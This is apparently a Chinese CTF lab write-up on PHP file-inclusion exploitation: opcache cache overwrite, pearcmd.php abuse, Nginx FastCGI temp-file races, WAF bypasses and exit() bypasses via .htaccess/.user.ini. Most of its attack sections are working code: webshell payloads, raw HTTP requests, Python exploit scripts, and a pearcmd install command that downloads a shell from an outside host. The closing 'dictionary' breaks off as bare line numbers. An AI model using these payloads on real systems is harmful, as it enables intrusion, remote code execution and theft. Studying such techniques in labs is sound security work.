/proc/self/root...../var/www/html/flag.php

的话php会直接出现解析错误,PHP 认为路径无效,直接报错,不会包含文件

但是使用过滤器php://filter/convert.base64-encode/resource=

这个是php流直接把一大串路径当作一个独一无二的标识符,从而骗过“一次包含”的检查机制

并且这样的读取文件是直接读取文件内容而不是执行文件里面的php代码

所以最终这一关的payload是

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

如果要对原理研究看如下文章

1
https://www.anquanke.com/post/id/213235#h2-0

opcache缓存RCE

Opcache 是 PHP 的字节码缓存扩展,通过将编译后的脚本存储在共享内存中,避免重复编译,从而大幅提升 PHP 应用性能

为了方便理解我们可以在自己的docker里面实验一下

1
2
3
4
5
docker run -itd --name php7 -p 8083:80 php:7.0-apache
进入docker容器:docker exec -it 容器id /bin/bash
安装opcache:cd /usr/local/bin && docker-php-ext-configure opcache --enable-opcache && docker-php-ext-install opcache
重启apache:cd /etc/init.d && ./apache2 restart
docker start 容器id

有这个说明安装好了

image.png

1
2
3
4
5
6
7
修改一下php.ini,应用opcache:
cd /usr/local/etc/php && cp php.ini-development php.ini

在主机里面
docker cp 6a4877f91730:/usr/local/etc/php/php.ini /home/ubuntu/test
vim php.ini
docker cp php.ini 6a4877f91730:/usr/local/etc/php/php.ini

image.png

image-20260413093553542

在这里我为了更好的复现于是关闭了时间戳,大家也可以关闭一下,为了更好的复现

配置好之后重启一下

1
2
docker stop 容器id
docker start 容器id

opcache原理

Opache是php中一个生成缓存文件的拓展,当我们访问一个php文件时,他会产生一个缓存文件,下次访问该php文件时,就会直接根据缓存文件回显页面,查看tmp下,已经生成了缓存文件:

我们访问一下phpinfo.php(已经在容器web目录下面写好了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@6a4877f91730:/var/www/html# cd /tmp
root@6a4877f91730:/tmp# ls
0b8bd94e9858e5d32d058dc0acf75014 apt.conf.DuQqeb
root@6a4877f91730:/tmp# ls -l
total 12
drwx------ 3 www-data www-data 4096 Apr 6 08:23 0b8bd94e9858e5d32d058dc0acf75014
-rw------- 1 _apt nogroup 7495 Apr 6 08:17 apt.conf.DuQqeb
root@6a4877f91730:/tmp# cd 0b8bd94e9858e5d32d058dc0acf75014
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014# ls
var
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014# cd var
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var# ls
www
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var# cd www
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www# ls
html
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www# cd html
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# ls
phpinfo.php.bin
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# file phpinfo.php.bin
phpinfo.php.bin: data
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html#

发现确实有bin文件

接下来就是远程代码执行RCE了

想要rce,我们就得覆盖掉生成的bin文件,首先得计算出文件夹的这个system_id,也就是8431e96e6adfc8fc75ad38a0f6a7eb4e,那么这个system_id怎么计算呢?

我们使用别人的脚本https://github.com/GoSecure/php7-opcache-override

非常的方便快捷

1
2
3
git clone https://github.com/GoSecure/php7-opcache-override.git
cd php7-opcache-override
python3 system_id_scraper.py http://127.0.0.1:8083/phpinfo.php

输出结果

1
2
3
4
5
6
7
8
9
10
11
(venv) ubuntu@ubuntu24:~/test/php7-opcache-override$ python3 system_id_scraper.py http://192.168.8.133:8083/phpinfo.php
PHP version : 7.0.33
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 0b8bd94e9858e5d32d058dc0acf75014
PHP lower than 7.4 detected, an alternate Bin ID is possible:
Alternate Zend Bin ID : BIN_148888
Alternate System ID : 888b1b2b3719b54e59f563400d7ce5f2
(venv) ubuntu@ubuntu24:~/test/php7-opcache-override$

我们可以发现使用这个脚本算出来的system id就是/tmp/0b8bd94e9858e5d32d058dc0acf75014缓存目录的路径

这样就又意思了

接下来我们在容器里面的web目录下面执行

1
echo '<?php @eval($_POST["a"]);?>' > shell.php

访问shell.php之后必然会有一个缓存文件

我们将原来的phpinfo.php.bin文件删除,替换为shell.php.bin

1
2
3
4
5
6
7
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# ls
phpinfo.php.bin shell.php.bin
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# rm phpinfo.php.bin
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# cp shell.php.bin phpinfo.php.bin
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html#chown www-data:www-data phpinfo.php.bin
root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# ls
phpinfo.php.bin shell.php.bin

接下来我们就使用通过phpinfo这个页面执行webshell

image-20260413093947599

这个是我们没有设置时间戳的复现,但是如果有时间戳怎么办

就得参考一下这个文章了PHP7/8 OPCACHE缓存文件导致的RCE - ( ゜- ゜)つロ

我们得使用010打开文件

image-20260413095116603

image-20260413095134373

可以很明显的发现图片上标红的位置是不一样的,这个位置就是时间戳

其实也很简单

image-20260413095719293

这样改,修改为和phpinfo.php.bin一样的时间戳即可

注意在本地测试的时候需要使用这个命令修改一下

chown www-data:www-data phpinfo.php.bin

之后就可以直接访问了,结束

回到靶场环境 level 19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php 
/*
该关卡配置:
allow_url_fopen=Off
allow_url_include=Off
opcache.enable=1
opcache.validate_timestamps=0
opcache.file_cache_only=1
opcache.file_cache=/var/www/html/opcache
*/
include("get_flag.php");
function hello_ctf($file){

//I heard you are good at PHPINFO+LFI, flag is in flag.php, find it my dear noob vegetable hacker.

if ( $file === "phpinfo" ) {
phpinfo();
exit;
}

if ( preg_match('/proc/i' , $file) ) {
die("private");
}

$file = "/var/www/html/" . $file;
$content = file_get_contents($file);

if ( !$content ) {
die("nothing");
}

if ( preg_match("/script|<\?/i", $content) ) {
die("bypass me");
}

include_once $file;

}

isset($_GET['file']) ? hello_ctf($_GET['file']) : '';

highlight_file(__FILE__);


?>

不能使用上面那个题目的方法,使用刚刚那个题目的方法

首先访问flag.php

缓存目录下面有了flag.php.bin文件

然后访问(题目有提示缓存路径)

1
http://192.168.8.133:8122/?file=opcache/0b8bd94e9858e5d32d058dc0acf75014/var/www/html/flag.php.bin

得到flag

image-20260413100226666

这个特性就结束了,接下来继续

pearcmd.php妙用

这里有一篇专门研究这个的文章

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

在这里我只简要的讲一个这个漏洞产生的原因

在PHP中,有一个register_argc_argv指令。当它开启时(在Docker的PHP镜像中默认开启),HTTP请求的查询字符串(Query String)(即?之后的部分)会被PHP解析,并存入$_SERVER[‘argv’]数组中。更关键的是,它会以加号(+)作为参数分隔符,而不是常规的&。这就像是给Web环境装上了命令行参数解析器。

pearcmd.php是PEAR(PHP扩展与应用仓库)的核心文件,本质上是PEAR命令行工具的入口。在Docker环境中,它几乎总是存在的,路径通常是/usr/local/lib/php/pearcmd.php。当它被文件包含漏洞加载时,它内部的readPHPArgv函数会优先读取我们可控的$_SERVER[‘argv’]作为其命令行参数。

利用这个我们可以写入webshell

这里有两种写入webshell的方式

不懂?没事会用就行,下面开始使用

phpinclude_lab:level_20来到这个环境

文章里面有两个方式

方式一Config-Create

这是最常用且无需目标服务器出网的方法。它利用config-create命令,该命令的功能是接收两个参数:内容和文件路径,然后将内容写入指定文件。

可以使用的payload的是

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php

?+config-create+…:查询字符串部分,用于传递参数给pearcmd.php。

+config-create+:这是要执行的PEAR命令。开头的+用于跳过argv[0](即命令本身)。

:这将被写入文件的内容。你可以替换成任意PHP代码,如

/tmp/shell.php:要写入的目标文件路径。通常选择有写权限的目录,如/tmp或网站根目录/var/www/html。

&file=…:这是文件包含的参数,指向pearcmd.php文件。

建议使用Burp Suite这类工具发送Payload

相信你看完和这个payload的解释之后还是有很多的疑问,这里做一些讲解

查询字符串(Query String)的参数,为什么会被传递给 pearcmd.php?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
查询字符串(Query String)的参数,为什么会被传递给 pearcmd.php?
核心原因是:PHP 的 register_argc_argv = On 会将整个查询字符串(? 后面的部分)按照“加号(+)分割”的方式,解析成一个参数数组,并赋值给 $_SERVER['argv']。

当你通过文件包含漏洞包含 pearcmd.php 时,pearcmd.php 内部的 readPHPArgv() 函数会去读取 $_SERVER['argv'],从而“以为”自己是在命令行下被调用的,并把这些参数当成命令行参数来处理。

所以,参数并不是直接“指定”传递给 pearcmd.php,而是:

文件包含语句 ?file=/usr/local/lib/php/pearcmd.php 让 PHP 加载了这个文件。

同时,查询字符串中的其他部分(+config-create+...)被 PHP 自动解析成了 $_SERVER['argv']。

pearcmd.php 内部读取 $_SERVER['argv'],就拿到了这些参数。

也就是说,file= 参数是用来选择要包含的文件;而查询字符串里的其他部分,是全局影响的,任何包含进来的脚本都可以通过 $_SERVER['argv'] 获取到它们。

config-create 的功能是不是创建文件?

1
2
config-create 的功能是不是创建文件?
是的,它的功能是“创建配置文件” —— 将第一个参数的内容写入到第二个参数指定的文件中。

好的现在回到环境,环境的代码很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
include("get_flag.php");


function hello_ctf($file){
if(preg_match("/file|http|ftp|zlib|data|glob|phar|ssh2|rar|ogg|expect|log|input|filter|log|tmp/i", $file)){
die("WAF");
}else{
include ($file);
}

}

highlight_file(__FILE__);

isset($_POST['file']) ? hello_ctf($_POST['file']) : phpinfo();

?>

不能使用伪协议,环境里面没有opcach,需要包含文件

于是我们尝试使用这个漏洞写入webshell

最好是使用burp发包,我们要避免get传输导致我们写入的内容被URL编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?+config-create+/<?=system($_GET['test']);?>+/var/www/html/shell.php HTTP/1.1
Host: 192.168.8.133:8123
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=d6370b8c05802e42e407a94f59a778ae
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

file=/usr/local/lib/php/pearcmd.php

而且使用burp很方便

但是使用python也是可以的

这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import requests

host = "192.168.8.133"
port = 8123

# 注意:路径中使用单引号,避免双引号转义问题
path = "/?+config-create+/<?=system($_GET['test']);?>+/var/www/html/shell.php"

# 构造请求报文(与 Burp 中一致,不编码)
request = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 35\r\n"
"Connection: close\r\n"
"\r\n"
"file=/usr/local/lib/php/pearcmd.php"
)

# 发送
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(request.encode('latin-1')) # 使用 latin-1 保留原始字节

# 接收响应(循环读取直到连接关闭)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
sock.close()

# 打印响应(按需解码,可能包含 gzip 压缩,此处简单输出)
print(response.decode('utf-8', errors='ignore'))

r = requests.get('http://192.168.8.133:8123/shell.php',params={'test':'ls'})
print(r.text)

使用socket套接字原始构造,不能使用requests发包,因为这样会URL编码

还有一种方式使用远程下载文件

方式二远程下载

当目标服务器可以出网时,这个方式会更直接,因为你可以让服务器直接从你的VPS下载一个现成的Webshell

1
?+install+-R+/tmp+http://your-vps.com/shell.php&file=/usr/local/lib/php/pearcmd.php

-R参数执行下载目录

1
2
3
4
5
?+install+-R+/var/www/html+http://10.10.109.40/shell.php


post参数
file=/usr/local/lib/php/pearcmd.php

burp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?+install+-R+/var/www/html+http://10.10.109.40/shell.php HTTP/1.1
Host: 192.168.8.133:8123
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=d6370b8c05802e42e407a94f59a778ae
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

file=/usr/local/lib/php/pearcmd.php

值得注意的是我们使用这个方法下载的文件路径是

1
/var/www/html/tmp/pear/download/shell.php

虽然我们指定的目录是-R+/var/www/html

但是还是会多创建一些文件夹/tmp/pear/download/

image-20260413110227287

尝试使用python发包(比较的优雅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import socket
import requests

host = "192.168.8.133"
port = 8123

# 注意:路径中使用单引号,避免双引号转义问题
path = "/?+install+-R+/var/www/html+http://10.10.109.40/shell.php"

# 构造请求报文(与 Burp 中一致,不编码)
request = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 35\r\n"
"Connection: close\r\n"
"\r\n"
"file=/usr/local/lib/php/pearcmd.php"
)

# 发送
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(request.encode('latin-1')) # 使用 latin-1 保留原始字节

# 接收响应(循环读取直到连接关闭)
response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
sock.close()

# 打印响应(按需解码,可能包含 gzip 压缩,此处简单输出)
print(response.decode('utf-8', errors='ignore'))

r = requests.get('http://192.168.8.133:8123/tmp/pear/download/shell.php',params={'cmd':'system("whoami");'})
print(r.text)

Fastcgi产生临时文件

学习的文章https://tttang.com/archive/1384/

环境phpinclude_lab:level_22

看到环境代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
function HelloCTF_WAF($file){
if(preg_match("/iconv/i", $file)){
die("WAF");
}else{
return $file;
}
}

($_GET['action'] ?? 'read' ) === 'read' ? readfile(HelloCTF_WAF($_GET['file']) ?? 'index.php') : include_once(HelloCTF_WAF($_GET['file']) ?? 'index.php');

highlight_file(__FILE__);

?>

乍一看是不是很简单,就是使用别的过滤器绕过waf但是,我们看到环境的dockerfile文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
ubuntu@ubuntu24:~/docker/includer's revenge$ cat Dockerfile
# Running locally:
# 1) echo 'hxp{FLAG}' > flag.txt
# 2) docker build -t includers_revenge .
# 3) docker run -p 8088:80 --rm -it includers_revenge

FROM debian:bullseye

RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
apt-get install -y \
nginx \
php-fpm \
&& rm -rf /var/lib/apt/lists/

RUN rm -rf /var/www/html/*
COPY docker-stuff/default /etc/nginx/sites-enabled/default
COPY docker-stuff/www.conf /etc/php/7.4/fpm/pool.d/www.conf

# # Permission
# 7 rwx
# 6 rw-
# 5 r-x
# 4 r--
# 3 -wx
# 2 -w-
# 1 --x
# 0 ---

COPY flag.txt docker-stuff/readflag /
RUN chown 0:1337 /flag.txt /readflag && \
chmod 040 /flag.txt && \
chmod 2555 /readflag

COPY index.php /var/www/html/
RUN chown -R root:root /var/www && \
find /var/www -type d -exec chmod 555 {} \; && \
find /var/www -type f -exec chmod 444 {} \; && \
chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions

RUN ln -sf /dev/stdout /var/log/nginx/access.log && \
ln -sf /dev/stderr /var/log/nginx/error.log

RUN find / -ignore_readdir_race -type f \( -perm -4000 -o -perm -2000 \) -not -wholename /readflag -delete
USER www-data
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/var/lock|/var/log/nginx/error.log|/var/log/nginx/access.log)'
USER root

EXPOSE 80
CMD /etc/init.d/php7.4-fpm start && \
nginx -g 'daemon off;'
ubuntu@ubuntu24:~/docker/includer's revenge$

可以看到对于文件权限的位置

1
2
3
4
5
RUN chown -R root:root /var/www && \
find /var/www -type d -exec chmod 555 {} \; && \
find /var/www -type f -exec chmod 444 {} \; && \
chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \
chmod -R 000 /tmp /var/tmp /var/lib/php/session

可以看到/tmp /var/tmp /var/lib/php/session目录设置为了不可读

在文章中寻找了一个新的出路

Nginx 在处理某些请求时,自己也会产生临时文件,而且这些文件的位置不在被禁写的目录里

当我们上传的内容非常大的时候,nginx的内存装不下的时候,nginx会/var/lib/nginx/fastcgi/这个目录下面创建一个临时文件

漏洞出自于这里

1
2
3
Nginx 创建临时文件后,会立刻把它删除(unlink),但是文件句柄并没有关闭
在 Linux 中,如果一个文件被删除但仍有进程打开它,它仍然存在于 /proc/[pid]/fd/ 目录下(fd 是文件描述符)
例如:Nginx worker 进程 PID=1234,fd=5 对应一个已删除的临时文件,那么路径 /proc/1234/fd/5 依然可以读写这个文件的内容

好家伙是不是知道文件句柄就可以读取文件了

思路啊

所以我们的目标就是让 PHP 的 include 包含 /proc/1234/fd/5

但 PHP 的 include 会先调用 lstat() 检查文件是否存在。因为文件已经被删除,lstat() 会返回错误(ENOENT),直接包含会失败

我们还得绕过这个限制,在这里我们只需要知道可以用多层链接让 PHP 强制包含一个“已删除”的文件

最后就可以清楚了攻击方式

1
2
3
方法 A:请求一个很大的文件(比如 PHP 生成 1MB 的字符串),让 FastCGI 响应超过 Nginx 内存缓冲阈值。

方法 B:发送一个很大的 POST 请求体(比如 Content-Length 为 100MB),让 Nginx 把请求体存成临时文件。

原理已经简单的理解了

下面直接给出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
from threading import Thread


nginx_workers = []
URL = "http://192.168.8.133:8125/"
cpus = 0
done = False


def send_data():
data = "<?php system($_GET['c']);echo 'me7eorite';?>" + "a" * 45008
while not done:
requests.post(URL, data=data)


def get_linux_cpus():
global cpus
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')


def get_nginx_pid():
for pid in range(1, 200):
r = requests.get(URL, params={
'file': f"/proc/{pid}/cmdline"
})
if b'nginx: worker process' in r.content:
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break


def get_file(pid):
global done
for fd in range(4, 40):
payload = f"/proc/self/fd/{pid}/../../../{pid}/fd/{fd}"
r = requests.get(URL, params={
'file': payload,
'c': f'whoami',
'action': '1'
})
if "me7eorite" in r.text:
print(payload)
print(r.text)
done = True
exit()


if __name__ == "__main__":

get_linux_cpus()
get_nginx_pid()
print(f"cpus:{cpus} nginx_pid:{str(nginx_workers)}")
for _ in range(1, 16):
print("[*] start upload")
t = Thread(target=send_data)
t.start()
for pid in nginx_workers:
print("start get")
a = Thread(target=get_file, args=(pid,))
a.start()

设置好URL和payload就可以直接执行了

执行之后会这个代码就会不断的包含句柄的文件在文件删除之前写入webshell,然后执行得到结果

绕过

双重URL编码

看到服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
include("get_flag.php");
function hello_ctf($file){
if(preg_match("/base|string/i", $file)){
die("WAF");
}else{
include("php://filter/".$file);
}

}

highlight_file(__FILE__);

isset($_GET['file']) ? hello_ctf($_GET['file']) : phpinfo();

?>

对于这个就是过滤了使用base64和rot13

但是我们还是可以使用别的编码操作的

这里可以思考一下为什么进行二次URL编码就可以绕过

1
2
3
4
5
6
7
8
9
10
WAF 检查的是 $_GET['file'] 经过一次 URL 解码后的值
你传入 ?file=convert.%2562%2561%2573%...,PHP 自动解码一次,变成 convert.%62%61%73%65...,这个字符串里没有出现 base 或 string(因为字母都被 %xx 替换了),所以 WAF 放行。

include 解析 filter 时会再次 URL 解码
php://filter 模块在解析过滤器名称时,会主动对百分号编码进行解码。于是 convert.%62%61%73%65... 被解码为 convert.base64...,从而成功调用 base64 过滤器。



所以关键是使用iniclude可以自动进行一个URL解码

所以对base64-encode双重URL编码即可

1
?file=convert.%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565/resource=flag.php

这里有一个要注意的地方,使用python的时候,request.get是会强制把我们输入的参数URL编码一次,所以我们在python中的payload只需要URL编码一次就可以达到URL编码两次的结果

双写绕过

服务端的代码如下

1
2
3
<?php 
include preg_replace('/php/', '', $_GET['file']);
?>

直接执行

1
2
3
4
import requests
url = 'http://192.168.8.140:8899/include/1.php'
r = requests.get(url,params={'file':'pphphp://filter/convert.base64-encode/resource=flag.txt'})
print(r.text)

大小写绕过

还是使用上面的那个代码

1
2
3
<?php 
include preg_replace('/php/', '', $_GET['file']);
?>

这个是可以使用大小写绕过的

1
2
3
4
import requests
url = 'http://192.168.8.140:8899/include/1.php'
r = requests.get(url,params={'file':'phP://filter/convert.base64-encode/resource=flag.txt'})
print(r.text)

但是服务端如果使用大小写区分则不行了

类似于下面这些代码

1
2
3
<?php 
include preg_replace('/php/i', '', $_GET['file']);
?>
1
2
3
<?php 
include str_ireplace('php', '', $_GET['file']);
?>

死亡函数新思路

死亡函数逻辑一

这一部分介绍死亡函数绕过的新思路,还有死亡函数设置的别的情况

在前面我们已经知道了绕过死亡函数可以使用过滤器绕过比如base64,rot13,iconv等等

但是现在我在这里介绍一个新的思路

服务端的代码如下

1
2
3
4
5
<?php 
$filename = $_GET['file'];
$content = $_GET['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

注意哦这个代码和之前的死亡函数绕过的代码有一点点的不一样

这个代码是需要闭合死亡函数的

好的,那么如果不使用base64,不使用rot13,不使用iconv的话还能怎么操作呢?

答案是!使用.htaccess文件或者是使用.user.ini文件!

先看.htaccess文件用法

1
2
3
4
import requests
url = 'http://192.168.8.140:8899/include/1.php'
r = requests.get(url,params={'file':'php://filter/write=string.strip_tags/resource=.htaccess','content':'?>php_value auto_prepend_file flag.txt'})
print(r.text)

我们可以看到使用的主要方法是写入文件内容,使用的是写入流

php://filter/write=string.strip_tags/resource=.htaccess这个是可以在当前目录下面创建一个.htaccess文件,学习过文件上传的都知道这个文件是一个当前目录的配置文件,可以制定一些规则

?>php_value auto_prepend_file flag.txt然后再看到这个内容,这个内容的前面?>是为了包裹死亡函数,是为了方便php伪协议filter/write=string.strip_tags识别到标签后取出死亡函数,后面的内容是.htaccess文件的配置选项php_value auto_prepend_file的作用是:在每个 PHP 脚本执行之前,自动将指定的文件包含进来,这样就很明白了,包裹的文件内容是会显示在页面上面的

但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器

使用.htaccess文件是立刻生效的,但是在使用这个方法 的时候会遇到一些环境问题,比如php的模式,httpd.conf文件的配置,这些都是要是配置的

当然学过文件上传的同学可以知道不止.htaccess文件可以利用,.user.ini文件也具有差不多的特性

1
2
3
4
import requests
url = 'http://192.168.8.140:8899/include/1.php'
r = requests.get(url,params={'file':'php://filter/write=string.strip_tags/resource=.user.ini','content':'?>auto_prepend_file = flag.txt'})
print(r.text)

意思是一样的

只是这个.user.ini文件是不会立刻生效的,.user.ini 的修改会在 5 分钟内自动生效

所以执行完之后要等一会

死亡函数逻辑二

逻辑一很好理解,但是如果服务端的代码逻辑是如下呢

1
2
3
4
<?php 
$content = $_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>

对于这种情况我们还是可以使用.htaccess文件利用

payload如下

1
?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20flag.txt%0a%23/resource=.htaccess

url解码之后的结果如下

1
2
?content=php://filter/write=string.strip_tags/?>php_value auto_prepend_file flag.txt
#/resource=.htaccess

.htaccess文件内容如下

1
2
php_value auto_prepend_file flag.txt
#/resource=.htaccess

可以发现

?>php_value%20auto_prepend_file%20flag.txt%0a%23这个内容是夹在/write=string.strip_tags//resource=.htaccess之间的,实际上是php在读取的时候到了/write=string.strip_tags/就停止了,所以导致写入的文件内容是

1
2
php_value auto_prepend_file flag.txt
#/resource=.htaccess

同理使用.user.ini文件也是可以的

payload如下

1
?content=php://filter/write=string.strip_tags/?>auto_prepend_file%20=%20flag.txt%0a%23/resource=.user.ini

当然思路千千万

rot13也是可以的

1
2
3
这里可以采用rot13编码即可;

php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php这里<?php phpinfo();?>的rot13编码即为<?cuc cucvasb();?>,所以这里可以进行写入;

usc-2也可以

1
2
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
payload:php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php;其实也是变向的转换回来,从而利用那一次转换对死亡代码进行扰乱

usc-4也是可以的

1
2
3
4
活用convert.iconv。可以进行usc-4编码转化;就是4位一反转;类比可知,构造的shell代码应该是usc-4中的4倍数;
通过测试我们可以明确的看到确实是需要是4的倍数才可以进行,否则会进行报错;

payload:php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php荷载效果如下:

file_put_content和死亡·杂糅代码之缘-先知社区

这个文章里面有两个方法是使用不了的

base64和utf-8与utf-7之间的转化

构造起来有点困难所以,哎………没有了后文

其实还没有结束

在做题目的时候会经常遇到一个情况,就是存在过滤,怎么办呢

下面我这里准备了一个字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
